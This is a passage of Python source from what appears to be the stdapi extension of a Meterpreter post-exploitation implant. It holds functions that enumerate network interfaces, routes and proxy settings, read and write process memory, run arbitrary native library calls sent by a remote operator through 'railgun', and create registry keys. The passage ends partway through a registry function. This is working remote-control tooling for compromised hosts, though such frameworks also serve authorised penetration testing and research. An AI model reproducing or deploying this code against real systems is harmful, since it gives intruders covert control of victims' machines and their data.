netmask = calculate_128bit_netmask(nm_bits)
|
|
addr_list = iface_info.get('addrs', [])
|
|
addr_list.append((iface.family, attr_data, netmask))
|
|
iface_info['addrs'] = addr_list
|
|
elif attribute.type == IFA_LABEL:
|
|
iface_info['name'] = attr_data
|
|
interfaces[iface.index] = iface_info
|
|
return interfaces.values()
|
|
|
|
def stdapi_net_config_get_interfaces_via_osx_ifconfig():
|
|
proc_h = subprocess.Popen('/sbin/ifconfig', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
if proc_h.wait():
|
|
raise Exception('ifconfig exited with non-zero status')
|
|
output = proc_h.stdout.read()
|
|
|
|
interfaces = []
|
|
iface = {}
|
|
for line in output.split('\n'):
|
|
match = re.match(r'^([a-z0-9]+): flags=(\d+)<[A-Z,]*> mtu (\d+)\s*$', line)
|
|
if match is not None:
|
|
if iface:
|
|
interfaces.append(iface)
|
|
iface = {}
|
|
iface['name'] = match.group(1)
|
|
iface['flags'] = int(match.group(2))
|
|
iface['mtu'] = int(match.group(3))
|
|
iface['index'] = len(interfaces)
|
|
continue
|
|
match = re.match(r'^\s+ether (([a-f0-9]{2}:){5}[a-f0-9]{2})\s*$', line)
|
|
if match is not None:
|
|
iface['hw_addr'] = ''.join(list(chr(int(b, 16)) for b in match.group(1).split(':')))
|
|
continue
|
|
match = re.match(r'^\s+inet ((\d+\.){3}\d+) netmask 0x([a-f0-9]{8})( broadcast ((\d+\.){3}\d+))?\s*$', line)
|
|
if match is not None:
|
|
addrs = iface.get('addrs', [])
|
|
netmask = struct.pack('!I', int(match.group(3), 16))
|
|
addrs.append((socket.AF_INET, inet_pton(socket.AF_INET, match.group(1)), netmask))
|
|
iface['addrs'] = addrs
|
|
continue
|
|
match = re.match(r'^\s+inet6 ([a-f0-9:]+)(%[a-z0-9]+)? prefixlen (\d+)( secured)?( scopeid 0x[a-f0-9]+)?\s*$', line)
|
|
if match is not None:
|
|
addrs = iface.get('addrs', [])
|
|
netmask = calculate_128bit_netmask(int(match.group(3)))
|
|
addrs.append((socket.AF_INET6, inet_pton(socket.AF_INET6, match.group(1)), netmask))
|
|
iface['addrs'] = addrs
|
|
continue
|
|
if iface:
|
|
interfaces.append(iface)
|
|
return interfaces
|
|
|
|
def stdapi_net_config_get_interfaces_via_windll():
|
|
iphlpapi = ctypes.windll.iphlpapi
|
|
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
|
|
AdapterAddresses = ctypes.c_void_p()
|
|
SizePointer = ctypes.c_ulong()
|
|
SizePointer.value = 0
|
|
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
|
|
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
|
|
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
|
|
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
|
|
AdapterAddresses = ctstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
|
|
if AdapterAddresses.u.s.Length <= 72:
|
|
raise RuntimeError('invalid AdapterAddresses length')
|
|
win_version = windll_GetVersion()
|
|
interfaces = []
|
|
pAdapterAddresses = ctypes.byref(AdapterAddresses)
|
|
while pAdapterAddresses:
|
|
AdapterAddresses = ctstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
|
|
pAdapterAddresses = AdapterAddresses.Next
|
|
pFirstPrefix = AdapterAddresses.FirstPrefix
|
|
iface_info = {}
|
|
iface_info['index'] = AdapterAddresses.u.s.IfIndex
|
|
if AdapterAddresses.PhysicalAddressLength:
|
|
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
|
|
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
|
|
if not is_str(iface_desc):
|
|
iface_desc = str(iface_desc)
|
|
iface_info['name'] = iface_desc
|
|
iface_info['mtu'] = AdapterAddresses.Mtu
|
|
pUniAddr = AdapterAddresses.FirstUnicastAddress
|
|
while pUniAddr:
|
|
UniAddr = ctstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
|
|
pUniAddr = UniAddr.Next
|
|
address = ctstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
|
|
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
|
|
continue
|
|
prefix = 0
|
|
if win_version.dwMajorVersion >= 6:
|
|
prefix = UniAddr.OnLinkPrefixLength
|
|
elif pFirstPrefix:
|
|
ip_adapter_prefix = 'QPPIL'
|
|
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
|
|
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
|
|
iface_addresses = iface_info.get('addrs', [])
|
|
if address.sa_family == socket.AF_INET:
|
|
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
|
|
else:
|
|
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
|
|
iface_info['addrs'] = iface_addresses
|
|
interfaces.append(iface_info)
|
|
return interfaces
|
|
|
|
@register_function
|
|
def stdapi_net_config_get_routes(request, response):
|
|
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
|
|
routes = stdapi_net_config_get_routes_via_netlink()
|
|
elif sys.platform == 'darwin':
|
|
routes = stdapi_net_config_get_routes_via_osx_netstat()
|
|
elif has_windll:
|
|
routes = stdapi_net_config_get_routes_via_windll()
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
for route_info in routes:
|
|
route_tlv = bytes()
|
|
route_tlv += tlv_pack(TLV_TYPE_SUBNET, route_info['subnet'])
|
|
route_tlv += tlv_pack(TLV_TYPE_NETMASK, route_info['netmask'])
|
|
route_tlv += tlv_pack(TLV_TYPE_GATEWAY, route_info['gateway'])
|
|
route_tlv += tlv_pack(TLV_TYPE_STRING, route_info['iface'])
|
|
route_tlv += tlv_pack(TLV_TYPE_ROUTE_METRIC, route_info.get('metric', 0))
|
|
response += tlv_pack(TLV_TYPE_NETWORK_ROUTE, route_tlv)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_net_config_get_routes_via_netlink():
|
|
rta_align = lambda l: l+3 & ~3
|
|
responses = netlink_request(RTM_GETROUTE, RTMSG(family=socket.AF_UNSPEC))
|
|
routes = []
|
|
for res_data in responses:
|
|
rtmsg = ctstruct_unpack(RTMSG, res_data)
|
|
cursor = rta_align(ctypes.sizeof(RTMSG))
|
|
route = {'table': rtmsg.table}
|
|
if rtmsg.family == socket.AF_INET:
|
|
route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET, '0.0.0.0')
|
|
route['netmask'] = calculate_32bit_netmask(rtmsg.dst_len)
|
|
elif rtmsg.family == socket.AF_INET6:
|
|
route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET6, '::')
|
|
route['netmask'] = calculate_128bit_netmask(rtmsg.dst_len)
|
|
else:
|
|
continue
|
|
while cursor < len(res_data):
|
|
attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
|
|
at_len = attribute.len
|
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
|
cursor += rta_align(at_len)
|
|
if attribute.type == RTA_DST:
|
|
route['subnet'] = attr_data
|
|
if attribute.type == RTA_GATEWAY:
|
|
route['gateway'] = attr_data
|
|
elif attribute.type == RTA_TABLE:
|
|
route['table'] = struct.unpack('<I', attr_data)[0]
|
|
elif attribute.type == RTA_OIF:
|
|
route['iface'] = _linux_if_indextoname(struct.unpack('<I', attr_data)[0])
|
|
elif attribute.type == RTA_PRIORITY:
|
|
route['metric'] = struct.unpack('<I', attr_data)[0]
|
|
if route['table'] != RT_TABLE_MAIN:
|
|
continue
|
|
routes.append(route)
|
|
return routes
|
|
|
|
def stdapi_net_config_get_routes_via_osx_netstat():
|
|
proc_h = subprocess.Popen(['/usr/sbin/netstat', '-rn'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
if proc_h.wait():
|
|
raise Exception('netstat exited with non-zero status')
|
|
output = proc_h.stdout.read()
|
|
|
|
routes = []
|
|
state = None
|
|
has_refs = None
|
|
for line in output.split('\n'):
|
|
line = line.strip()
|
|
if state is None:
|
|
if line == 'Internet:':
|
|
state = socket.AF_INET
|
|
elif line == 'Internet6:':
|
|
state = socket.AF_INET6
|
|
continue
|
|
words = line.split()
|
|
if len(words) < 4:
|
|
state = None
|
|
has_refs = None
|
|
continue
|
|
if words[0].lower() == 'destination':
|
|
if len(words) > 5 and words[3].lower() == 'refs':
|
|
has_refs = True
|
|
continue
|
|
destination, gateway, flags, iface = words[:4]
|
|
if has_refs:
|
|
iface = words[5]
|
|
if state == socket.AF_INET:
|
|
all_nets = '0.0.0.0/0'
|
|
bits = 32
|
|
calc_netmask = calculate_32bit_netmask
|
|
elif state == socket.AF_INET6:
|
|
all_nets = '::/0'
|
|
bits = 128
|
|
calc_netmask = calculate_128bit_netmask
|
|
else:
|
|
continue
|
|
if destination == 'default':
|
|
destination = all_nets
|
|
if re.match('link#\d+', gateway) or re.match('([0-9a-f]{1,2}:){5}[0-9a-f]{1,2}', gateway):
|
|
gateway = all_nets[:-2]
|
|
if '/' in destination:
|
|
destination, netmask_bits = destination.rsplit('/', 1)
|
|
netmask_bits = int(netmask_bits)
|
|
else:
|
|
netmask_bits = bits
|
|
if '%' in destination:
|
|
destination, _ = destination.rsplit('%', 1)
|
|
if '%' in gateway:
|
|
gateway, _ = gateway.rsplit('%', 1)
|
|
if state == socket.AF_INET:
|
|
while destination.count('.') < 3:
|
|
destination += '.0'
|
|
routes.append({
|
|
'subnet': inet_pton(state, destination),
|
|
'netmask': calc_netmask(netmask_bits),
|
|
'gateway': inet_pton(state, gateway),
|
|
'metric': 0,
|
|
'iface': iface
|
|
})
|
|
return routes
|
|
|
|
def stdapi_net_config_get_routes_via_windll():
|
|
iphlpapi = ctypes.windll.iphlpapi
|
|
if not hasattr(iphlpapi, 'GetIpForwardTable2'): # added in Vista / 2008
|
|
return stdapi_net_config_get_routes_via_windll2()
|
|
routes = []
|
|
iface_names = {}
|
|
for iface in stdapi_net_config_get_interfaces_via_windll():
|
|
iface_names[iface['index']] = iface['name']
|
|
for family in [WIN_AF_INET, WIN_AF_INET6]:
|
|
table = PMIB_IPFORWARD_TABLE2()
|
|
if iphlpapi.GetIpForwardTable2(family, ctypes.byref(table)):
|
|
continue
|
|
table = table.contents
|
|
rows = ctypes.cast(table.Table, PMIB_IPFORWARD_ROW2)
|
|
for index in range(table.NumEntries):
|
|
row = rows[index]
|
|
route = {}
|
|
if family == WIN_AF_INET:
|
|
route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv4.sin_addr)
|
|
route['netmask'] = calculate_32bit_netmask(row.DestinationPrefix.PrefixLength)
|
|
route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv4.sin_addr)
|
|
elif family == WIN_AF_INET6:
|
|
route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv6.sin6_addr)
|
|
route['netmask'] = calculate_128bit_netmask(row.DestinationPrefix.PrefixLength)
|
|
route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv6.sin6_addr)
|
|
iface = MIB_IPINTERFACE_ROW(Family=family, InterfaceIndex=row.InterfaceIndex)
|
|
if iphlpapi.GetIpInterfaceEntry(ctypes.byref(iface)):
|
|
continue
|
|
route['metric'] = row.Metric + iface.Metric
|
|
route['iface'] = iface_names.get(row.InterfaceIndex, str(row.InterfaceIndex))
|
|
routes.append(route)
|
|
return routes
|
|
|
|
def stdapi_net_config_get_routes_via_windll2():
|
|
iphlpapi = ctypes.windll.iphlpapi
|
|
routes = []
|
|
iface_names = {}
|
|
for iface in stdapi_net_config_get_interfaces_via_windll():
|
|
iface_names[iface['index']] = iface['name']
|
|
size = ctypes.c_uint32(0)
|
|
table = MIB_IPFORWARDTABLE()
|
|
iphlpapi.GetIpForwardTable(ctypes.byref(table), ctypes.byref(size), False)
|
|
if size.value:
|
|
buffer = (ctypes.c_uint8 * size.value)()
|
|
table = ctypes.cast(buffer, PMIB_IPFORWARDTABLE).contents
|
|
iphlpapi.GetIpForwardTable(ctypes.byref(table), ctypes.byref(size), False)
|
|
rows = ctypes.cast(table.table, PMIB_IPFORWARDROW)
|
|
for index in range(table.dwNumEntries):
|
|
row = rows[index]
|
|
routes.append({
|
|
'subnet': struct.pack('<I', row.dwForwardDest),
|
|
'netmask': struct.pack('<I', row.dwForwardMask),
|
|
'gateway': struct.pack('<I', row.dwForwardNextHop),
|
|
'metric': row.dwForwardMetric1,
|
|
'iface': iface_names.get(row.dwForwardIfIndex, str(row.dwForwardIfIndex))
|
|
})
|
|
return routes
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_net_config_get_proxy(request, response):
|
|
winhttp = ctypes.windll.winhttp
|
|
proxy_config = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
|
|
if not winhttp.WinHttpGetIEproxy_configForCurrentUser(ctypes.byref(proxy_config)):
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTODETECT, proxy_config.fAutoDetect)
|
|
if proxy_config.lpszAutoConfigUrl:
|
|
response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxy_config.lpszAutoConfigUrl)
|
|
if proxy_config.lpszProxy:
|
|
response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXY, proxy_config.lpszProxy)
|
|
if proxy_config.lpszProxyBypass:
|
|
response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxy_config.lpszProxyBypass)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_net_resolve_host(request, response):
|
|
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
|
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
|
|
if family == WIN_AF_INET:
|
|
family = socket.AF_INET
|
|
elif family == WIN_AF_INET6:
|
|
family = socket.AF_INET6
|
|
else:
|
|
raise Exception('invalid family')
|
|
result = resolve_host(hostname, family)
|
|
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
|
|
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_net_resolve_hosts(request, response):
|
|
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
|
|
if family == WIN_AF_INET:
|
|
family = socket.AF_INET
|
|
elif family == WIN_AF_INET6:
|
|
family = socket.AF_INET6
|
|
else:
|
|
raise Exception('invalid family')
|
|
for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
|
|
hostname = hostname['value']
|
|
try:
|
|
result = resolve_host(hostname, family)
|
|
except socket.error:
|
|
result = {'family':family, 'packed_address':''}
|
|
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
|
|
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_net_socket_tcp_shutdown(request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
|
channel = meterpreter.channels[channel_id]
|
|
channel.sock.shutdown(how)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _linux_get_maps():
|
|
maps = []
|
|
lines = open('/proc/' + str(os.getpid()) + '/maps', 'r')
|
|
for line in lines:
|
|
region = dict(zip(
|
|
('address', 'perms', 'offset', 'dev', 'inode', 'pathname'),
|
|
line.split(' ', 5)
|
|
))
|
|
region['address-start'], region['address-end'] = region.pop('address').split('-')
|
|
region['address-start'] = int(region['address-start'], 16)
|
|
region['address-end'] = int(region['address-end'], 16)
|
|
region['inode'] = int(region['inode'])
|
|
region['offset'] = int(region['offset'], 16)
|
|
region['pathname'] = region['pathname'].strip()
|
|
region['size'] = region['address-end'] - region['address-start']
|
|
maps.append(region)
|
|
return maps
|
|
|
|
def _linux_check_maps(address, size, perms=''):
|
|
perms = perms.lower()
|
|
maps = _linux_get_maps()
|
|
|
|
cursor = address
|
|
address += size
|
|
while cursor < address:
|
|
for region in maps:
|
|
if region['address-start'] <= cursor < region['address-end']:
|
|
break
|
|
else:
|
|
return False
|
|
for perm in perms:
|
|
if perm == '-':
|
|
continue
|
|
if not perm in region['perms']:
|
|
return False
|
|
if cursor + size < region['address-end']:
|
|
break
|
|
size -= region['address-end'] - cursor
|
|
cursor = region['address-end']
|
|
return True
|
|
|
|
def _linux_if_indextoname(index):
|
|
name = (ctypes.c_char * 256)()
|
|
if libc.if_indextoname(index, name):
|
|
return name.value.decode('ascii')
|
|
|
|
def _linux_memread(address, size):
|
|
if not hasattr(libc, 'process_vm_readv'):
|
|
# requires linux 3.2+ / glibc 2.15+, see:
|
|
# http://man7.org/linux/man-pages/man2/process_vm_readv.2.html#VERSIONS
|
|
raise RuntimeError('process_vm_readv is unavailable')
|
|
if not _linux_check_maps(address, size, perms='r'):
|
|
raise RuntimeError('invalid permissions')
|
|
buff = (ctypes.c_byte * size)()
|
|
local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
|
|
remote_iov = IOVEC(iov_base=address, iov_len=size)
|
|
result = libc.process_vm_readv(
|
|
os.getpid(),
|
|
ctypes.byref(local_iov),
|
|
1,
|
|
ctypes.byref(remote_iov),
|
|
1,
|
|
0
|
|
)
|
|
if result == -1:
|
|
raise RuntimeError('operation failed')
|
|
return ctarray_to_bytes(buff)
|
|
|
|
def _linux_memwrite(address, data):
|
|
if not hasattr(libc, 'process_vm_writev'):
|
|
# requires linux 3.2+ / glibc 2.15+, see:
|
|
# http://man7.org/linux/man-pages/man2/process_vm_writev.2.html#VERSIONS
|
|
raise RuntimeError('process_vm_writev is unavailable')
|
|
size = len(data)
|
|
if not _linux_check_maps(address, size, perms='w'):
|
|
raise RuntimeError('invalid permissions')
|
|
buff = bytes_to_ctarray(data)
|
|
local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
|
|
remote_iov = IOVEC(iov_base=address, iov_len=size)
|
|
result = libc.process_vm_writev(
|
|
os.getpid(),
|
|
ctypes.byref(local_iov),
|
|
1,
|
|
ctypes.byref(remote_iov),
|
|
1,
|
|
0
|
|
)
|
|
if result == -1:
|
|
raise RuntimeError('operation failed')
|
|
return size
|
|
|
|
def _osx_memread(address, size):
|
|
task = libc.mach_task_self()
|
|
libc.mach_vm_read.argtypes = [ctypes.c_uint32, size_t, size_t, ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_uint32)]
|
|
libc.mach_vm_read.restype = ctypes.c_uint32
|
|
pointer = ctypes.c_void_p()
|
|
out_size = ctypes.c_uint32()
|
|
result = libc.mach_vm_read(task, address, size, ctypes.byref(pointer), ctypes.byref(out_size))
|
|
if result == 1: # KERN_INVALID_ADDRESS
|
|
raise RuntimeError('invalid address')
|
|
elif result == 2: # KERN_PROTECTION_FAILURE
|
|
raise RuntimeError('invalid permissions')
|
|
if result != 0 or size != out_size.value:
|
|
raise RuntimeError('operation failed')
|
|
buff = ctypes.cast(pointer, ctypes.POINTER(ctypes.c_byte * out_size.value))
|
|
return ctarray_to_bytes(buff.contents)
|
|
|
|
def _osx_memwrite(address, data):
|
|
task = libc.mach_task_self()
|
|
libc.mach_vm_write.argtypes = [ctypes.c_uint32, size_t, ctypes.c_void_p, ctypes.c_uint32]
|
|
libc.mach_vm_write.restype = ctypes.c_uint32
|
|
buff = bytes_to_ctarray(data)
|
|
if libc.mach_vm_write(task, address, buff, len(buff)) != 0:
|
|
raise RuntimeError('operation failed')
|
|
return len(buff)
|
|
|
|
def _win_format_message(source, msg_id):
|
|
EN_US = 0
|
|
msg_flags = 0
|
|
msg_flags |= 0x00000100 # FORMAT_MESSAGE_ALLOCATE_BUFFER
|
|
msg_flags |= 0x00000200 # FORMAT_MESSAGE_IGNORE_INSERTS
|
|
msg_flags |= 0x00000800 # FORMAT_MESSAGE_FROM_HMODULE
|
|
msg_flags |= 0x00001000 # FORMAT_MESSAGE_FROM_SYSTEM
|
|
FormatMessage = ctypes.windll.kernel32.FormatMessageA
|
|
FormatMessage.argtypes = [ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_void_p]
|
|
FormatMessage.restype = ctypes.c_uint32
|
|
LocalFree = ctypes.windll.kernel32.LocalFree
|
|
LocalFree.argtypes = [ctypes.c_void_p]
|
|
|
|
buff = ctypes.c_char_p()
|
|
if not FormatMessage(msg_flags, source, msg_id, EN_US, ctypes.byref(buff), 0, None):
|
|
return None
|
|
message = buff.value.decode('utf-8').rstrip()
|
|
LocalFree(buff)
|
|
return message
|
|
|
|
def _win_memread(address, size, handle=-1):
|
|
ReadProcessMemory = ctypes.windll.kernel32.ReadProcessMemory
|
|
ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
|
|
buff = (ctypes.c_byte * size)()
|
|
read = size_t()
|
|
result = ReadProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(read))
|
|
if not result:
|
|
return None
|
|
return ctarray_to_bytes(buff)
|
|
|
|
def _win_memwrite(address, data, handle=-1):
|
|
WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
|
|
WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
|
|
size = len(data)
|
|
buff = bytes_to_ctarray(data)
|
|
written = size_t()
|
|
result = WriteProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(written))
|
|
if not result:
|
|
return None
|
|
return written.value
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
|
def stdapi_railgun_api(request, response):
|
|
size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
|
|
stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
|
|
buff_blob_in = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_IN)['value']
|
|
buff_blob_inout = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT)['value']
|
|
lib_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_DLLNAME)['value']
|
|
func_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_FUNCNAME)['value']
|
|
call_conv = packet_get_tlv(request, TLV_TYPE_RAILGUN_CALLCONV).get('value', ('stdcall' if has_windll else 'cdecl'))
|
|
|
|
buff_blob_in = bytes_to_ctarray(buff_blob_in)
|
|
buff_blob_out = (ctypes.c_byte * size_out)()
|
|
buff_blob_inout = bytes_to_ctarray(buff_blob_inout)
|
|
|
|
if ctypes.sizeof(ctypes.c_void_p) == 4:
|
|
native = ctypes.c_uint32
|
|
fmt = 'II'
|
|
elif ctypes.sizeof(ctypes.c_void_p) == 8:
|
|
native = ctypes.c_uint64
|
|
fmt = 'QQ'
|
|
else:
|
|
raise RuntimeError('unknown sizeof(void *)')
|
|
fmt_size = struct.calcsize(fmt)
|
|
|
|
if call_conv.lower() == 'cdecl':
|
|
func_type = ctypes.CFUNCTYPE
|
|
elif call_conv.lower() == 'stdcall' and hasattr(ctypes, 'WINFUNCTYPE'):
|
|
func_type = ctypes.WINFUNCTYPE
|
|
else:
|
|
raise ValueError('unknown calling convention')
|
|
|
|
call_args = []
|
|
func_args = []
|
|
for pos in range(0, len(stack_blob), fmt_size):
|
|
arg_type, arg = struct.unpack(fmt, stack_blob[pos:pos + fmt_size])
|
|
if arg_type == 0: # literal
|
|
call_args.append(arg)
|
|
func_args.append(native)
|
|
elif arg_type == 1: # relative to in
|
|
call_args.append(byref_at(buff_blob_in, arg))
|
|
func_args.append(ctypes.c_void_p)
|
|
elif arg_type == 2: # relative to out
|
|
call_args.append(byref_at(buff_blob_out, arg))
|
|
func_args.append(ctypes.c_void_p)
|
|
elif arg_type == 3: # relative to inout
|
|
call_args.append(byref_at(buff_blob_inout, arg))
|
|
func_args.append(ctypes.c_void_p)
|
|
else:
|
|
raise ValueError('unknown argument type: ' + str(arg_type))
|
|
|
|
debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
|
|
prototype = func_type(native, *func_args)
|
|
if sys.platform == 'darwin' or sys.platform.startswith('linux'):
|
|
p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
|
|
errno = p_errno.contents
|
|
last_error = ctypes.c_int(0)
|
|
p_errno.contents = last_error
|
|
func = prototype((func_name, ctypes.CDLL(ctypes.util.find_library(lib_name) or lib_name)))
|
|
result = func(*call_args)
|
|
p_errno.contents = errno
|
|
last_error = last_error.value
|
|
libc.strerror.argtypes = [ctypes.c_int]
|
|
libc.strerror.restype = ctypes.c_char_p
|
|
error_message = libc.strerror(last_error)
|
|
elif has_windll:
|
|
func = prototype((func_name, ctypes.WinDLL(lib_name)))
|
|
result = func(*call_args)
|
|
GetModuleHandle = ctypes.windll.kernel32.GetModuleHandleA
|
|
GetModuleHandle.argtypes = [ctypes.c_char_p]
|
|
GetModuleHandle.restype = ctypes.c_void_p
|
|
lib_handle = GetModuleHandle(bytes(lib_name, 'UTF-8'))
|
|
last_error = ctypes.windll.kernel32.GetLastError()
|
|
error_message = _win_format_message(lib_handle, last_error)
|
|
if error_message is None:
|
|
if last_error == ERROR_SUCCESS:
|
|
error_message = 'The operation completed successfully.'
|
|
else:
|
|
error_message = 'FormatMessage failed to retrieve the error.'
|
|
else:
|
|
raise RuntimeError('unknown platform')
|
|
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_ERR, last_error)
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_MSG, error_message)
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_RET, result)
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, ctarray_to_bytes(buff_blob_out))
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
|
def stdapi_railgun_api_multi(request, response):
|
|
for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
|
|
group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
|
def stdapi_railgun_memread(request, response):
|
|
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
|
|
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
|
|
debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
|
|
if sys.platform.startswith('darwin'):
|
|
result = _osx_memread(address, length)
|
|
elif sys.platform.startswith('linux'):
|
|
result = _linux_memread(address, length)
|
|
elif has_windll:
|
|
result = _win_memread(address, length)
|
|
if result is None:
|
|
return error_result_windows(), response
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
|
def stdapi_railgun_memwrite(request, response):
|
|
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
|
|
data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
|
|
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
|
|
debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
|
|
if sys.platform.startswith('darwin'):
|
|
result = _osx_memwrite(address, data)
|
|
elif sys.platform.startswith('linux'):
|
|
result = _linux_memwrite(address, data)
|
|
elif has_windll:
|
|
result = _win_memwrite(address, data)
|
|
if result is None:
|
|
return error_result_windows(), response
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_close_key(request, response):
|
|
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_create_key(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
|
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
|
res_key = ctypes.c_void_p()
|
|
